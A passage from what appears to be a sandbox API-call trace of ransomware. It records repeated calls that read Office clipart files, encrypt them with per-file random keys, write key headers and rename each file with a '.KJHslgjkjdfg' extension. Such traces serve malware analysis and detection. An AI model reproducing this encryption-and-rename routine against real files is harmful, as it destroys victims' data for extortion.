nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.825] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.825] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.825] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.825] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.825] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.825] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4696, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4696, lpOverlapped=0x0) returned 1 [0184.826] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x46a0, dwBufLen=0x46a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x46a0) returned 1 [0184.826] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.826] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x46a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x46a0, lpOverlapped=0x0) returned 1 [0184.827] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.827] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.827] SetEndOfFile (hFile=0x114) returned 1 [0184.830] GetProcessHeap () returned 0x2a0000 [0184.830] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.830] GetProcessHeap () returned 0x2a0000 [0184.830] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.831] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf.kjhslgjkjdfg")) returned 1 [0184.832] CloseHandle (hObject=0x114) returned 1 [0184.832] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea9aa00, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdea9aa00, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x2f38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00438_.WMF", cAlternateFileName="")) returned 1 [0184.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.834] GetProcessHeap () returned 0x2a0000 [0184.834] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.834] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.834] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.834] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.837] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.837] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.837] GetProcessHeap () returned 0x2a0000 [0184.837] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.837] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.837] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.837] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.837] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.837] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.837] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.838] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.838] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.838] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.838] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.838] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.838] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2f38, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2f38, lpOverlapped=0x0) returned 1 [0184.839] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2f40, dwBufLen=0x2f40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2f40) returned 1 [0184.839] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.840] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2f40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2f40, lpOverlapped=0x0) returned 1 [0184.840] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.840] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.840] SetEndOfFile (hFile=0x114) returned 1 [0184.843] GetProcessHeap () returned 0x2a0000 [0184.843] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.843] GetProcessHeap () returned 0x2a0000 [0184.843] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.843] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf.kjhslgjkjdfg")) returned 1 [0184.845] CloseHandle (hObject=0x114) returned 1 [0184.845] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f311400, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f311400, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x14bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00452_.WMF", cAlternateFileName="")) returned 1 [0184.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.846] GetProcessHeap () returned 0x2a0000 [0184.846] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.846] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.846] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.846] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.848] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.848] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.848] GetProcessHeap () returned 0x2a0000 [0184.848] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.848] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.848] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.848] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.849] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.849] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.849] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.849] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.849] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.849] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.849] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.849] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.849] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x14bc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x14bc, lpOverlapped=0x0) returned 1 [0184.850] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x14c0, dwBufLen=0x14c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x14c0) returned 1 [0184.850] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.850] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x14c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x14c0, lpOverlapped=0x0) returned 1 [0184.850] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.850] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.851] SetEndOfFile (hFile=0x114) returned 1 [0184.853] GetProcessHeap () returned 0x2a0000 [0184.853] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.853] GetProcessHeap () returned 0x2a0000 [0184.853] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.853] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf.kjhslgjkjdfg")) returned 1 [0184.855] CloseHandle (hObject=0x114) returned 1 [0184.855] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cceba00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cceba00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x1580, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00454_.WMF", cAlternateFileName="")) returned 1 [0184.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.856] GetProcessHeap () returned 0x2a0000 [0184.856] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.856] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.857] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.857] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.857] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.857] GetProcessHeap () returned 0x2a0000 [0184.857] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.857] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.857] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.857] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.859] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.859] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.859] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.859] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.859] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.860] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.860] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.860] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.860] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1580, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1580, lpOverlapped=0x0) returned 1 [0184.861] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1580, dwBufLen=0x1580 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1580) returned 1 [0184.861] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.861] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1580, lpOverlapped=0x0) returned 1 [0184.861] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.861] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.861] SetEndOfFile (hFile=0x114) returned 1 [0184.864] GetProcessHeap () returned 0x2a0000 [0184.864] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.864] GetProcessHeap () returned 0x2a0000 [0184.864] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.864] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf.kjhslgjkjdfg")) returned 1 [0184.865] CloseHandle (hObject=0x114) returned 1 [0184.865] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf78d7c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf78d7c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x27a4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00458_.WMF", cAlternateFileName="")) returned 1 [0184.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.867] GetProcessHeap () returned 0x2a0000 [0184.867] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.867] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.867] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.867] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0184.869] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.869] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.869] GetProcessHeap () returned 0x2a0000 [0184.870] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.870] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.870] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.870] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.870] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.870] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.870] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.870] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.870] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.870] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.870] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.870] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.870] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x27a4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x27a4, lpOverlapped=0x0) returned 1 [0184.872] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x27b0, dwBufLen=0x27b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x27b0) returned 1 [0184.872] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 